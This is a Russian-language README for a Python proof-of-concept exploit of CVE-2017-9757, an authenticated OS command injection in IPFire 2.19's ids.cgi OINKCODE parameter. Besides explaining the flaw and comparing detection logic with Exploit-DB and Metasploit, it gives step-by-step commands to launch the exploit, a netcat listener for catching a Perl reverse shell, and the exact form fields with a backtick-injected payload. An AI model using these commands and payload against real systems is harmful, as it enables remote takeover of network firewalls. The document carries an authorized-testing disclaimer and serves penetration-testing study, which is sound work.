
Этот эксплойт основан на CVE-2017-9757 и построен на основе оригинального эксплойта от 0x09AL.
Python-реализация PoC для аутентифицированной уязвимости внедрения команд на странице ids.cgi IPFire 2.19 через параметр OINKCODE.
Только для авторизованного тестирования безопасности и учебных лабораторий. Запускайте этот PoC только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим кодом.
IPFire 2.19 уязвим к внедрению OS-команд в параметре OINKCODE, обрабатываемом /cgi-bin/ids.cgi. Параметр подставляется в shell-команду без надлежащей нейтрализации, что позволяет аутентифицированному пользователю выполнять команды на узле IPFire.
Уязвимость обычно идентифицируется как CVE-2017-9757 и соответствует CWE-78: некорректная нейтрализация специальных элементов, используемых в OS-команде ('внедрение OS-команд').
Оригинальный публичный PoC был протестирован против IPFire 2.19 Core Update 110. Модуль Metasploit считает версии вплоть до IPFire 2.19 с Core Update 110 входящими в поддерживаемый диапазон проверки.
Оригинальный Python-PoC с Exploit-DB выполняет проверочный запрос, используя:
OINKCODE = '`id`'
Затем он объявляет цель уязвимой, только если HTTP-ответ содержит:
uid=99(nobody)
Такая проверка ненадёжна. Команда может выполниться, но её вывод будет поглощён shell-командой, формируемой CGI, а не отражён в HTML-ответе, возвращаемом клиенту. В результате сервер может вернуть обычную страницу с HTTP 200 без включения вывода id, что даёт ложноотрицательный результат.
Эта реализация следует логике проверки, используемой модулем Metasploit:
/cgi-bin/pakfire.cgi с HTTP Basic Authentication.<= 2.19 и Core Update <= 110 предположительно уязвимыми./cgi-bin/ids.cgi в поле OINKCODE.200, отклонённым запросом или проблемой аутентификации.uid=99(nobody).PoC также использует Perl-нагрузку командной оболочки, соответствующую семейству командных нагрузок, поддерживаемых модулем Metasploit. Успешный HTTP-ответ сам по себе не доказывает, что reverse shell подключился; необходимо также проверить listener и сетевой путь.
| Особенность | Exploit-DB 42149 Python PoC | Exploit-DB 42369 / Metasploit | Этот PoC |
|---|---|---|---|
| Уязвимая конечная точка | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi |
| Проверка версии | Нет | GET /cgi-bin/pakfire.cgi | Та же проверка в стиле Metasploit |
| Аутентификация | Basic Auth | Заголовок Basic Auth | Basic Auth через requests.Session |
| Начальная проверка | Выполняет `id` и ищет в теле ответа | Проверяет версию, затем отправляет нагрузку | Проверяет версию и использует код результата HTTP |
| Риск ложноотрицательного результата | Высокий: зависит от отражения uid=99(nobody) | Избегает проверки содержимого тела | Избегает проверки содержимого тела |
| Reverse shell | Bash /dev/tcp | Командная нагрузка Metasploit для Unix | Perl-командная оболочка IO::Socket::INET |
| Обработка TLS | Проверка сертификата отключена в PoC | SSL включён по умолчанию | Проверка отключается только с -k/--insecure |
| Конфигурация | Значения редактируются в исходном коде | Опции Metasploit | Аргументы командной строки |
Важный критерий успеха модуля Metasploit заключается в том, что неожиданный код ответа указывает на недействительные учётные данные или отклонённый запрос. Он не требует, чтобы тело ответа содержало вывод внедрённой команды.
requestsperlУстановите Python-зависимость:
python3 -m pip install requests
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecure
Пароль запрашивается в интерактивном режиме, если --password не указан. Это рекомендуется, поскольку передача пароля напрямую в команде может раскрыть его через историю shell или список процессов.
Используйте listener на адресе и порту, указанных через --lhost и --lport:
rlwrap nc -lvnp 4444
Если rlwrap не установлен, используйте:
nc -lvnp 4444
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
Для обычного самозаверяющего HTTPS-сертификата IPFire требуется --insecure/-k. Используйте его только в тех случаях, когда проверка сертификата в лаборатории заведомо невозможна.
Цель также можно указать в виде полного базового URL:
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
Используйте это, только если версия IPFire уже была подтверждена независимо:
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecure
Если Perl отсутствует в PATH по умолчанию на целевой системе, укажите его абсолютный путь:
--perl-path /usr/bin/perl
| Параметр | По умолчанию | Описание |
|---|---|---|
-t, --target | Обязательно | Целевой узел/IP или полный базовый URL |
--scheme | https | Схема, используемая, когда цель указана только как узел/IP |
--web-port | 444 | Порт веб-интерфейса IPFire |
-u, --username | admin | Имя пользователя IPFire |
-p, --password | Запрос | Пароль; не указывайте, чтобы ввести его без эха |
--lhost | Обязательно | Адрес listener, доступный с IPFire |
--lport | 4444 | Порт listener |
--perl-path | perl | Исполняемый файл Perl на целевой системе |
--timeout | 10 | Таймаут HTTP в секундах |
-k, --insecure | Отключено | Отключить проверку TLS-сертификата |
--skip-version-check | Отключено | Пропустить проверку pakfire.cgi |
--check-only | Отключено | Выполнить только проверку версии |
HTTP 200 от ids.cgiЭто означает, что HTTP-запрос был принят CGI в соответствии с тем же практическим критерием, который использует модуль Metasploit. Обычный HTML-ответ ожидаем и не является доказательством того, что проверка уязвимости не удалась.
Проверьте listener на наличие оболочки. Если оболочка не появилась, проверьте адрес обратного вызова, маршрутизацию, правила исходящего трафика межсетевого экрана, доступность Perl и выбранный порт.
HTTP 401 или HTTP 403Запрос не был авторизован. Проверьте имя пользователя, пароль, целевой URL, порт и наличие у учётной записи доступа к веб-интерфейсу IPFire.
HTTP 404Вероятно, неверен целевой URL или путь CGI, либо сервис не является ожидаемым веб-интерфейсом IPFire.
Скрипт не смог найти ожидаемую строку версии в pakfire.cgi. Подтвердите цель вручную перед использованием --skip-version-check.
Внедрённая команда может удерживать CGI-запрос открытым во время попытки обратного вызова. Считайте это указанием проверить listener, а не окончательным доказательством наличия оболочки.
Скрипт использует HTTP Basic Authentication и отправляет в ids.cgi следующие поля формы:
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
Команда заключена в обратные кавычки, поскольку уязвимое приложение передаёт значение OINKCODE в shell-команду. Точное поведение запроса зависит от версии цели и её локальной конфигурации.
200 подтверждает, что запрос принят, а не то, что reverse shell достиг listener.Этот проект представляет собой образовательную Python-реализацию, основанную на публичном исследовании и PoC от 0x09AL, а также на модуле Metasploit, поддерживаемом сообществом Metasploit. Он не связан с IPFire, Exploit-DB или Rapid7 и не одобрен ими.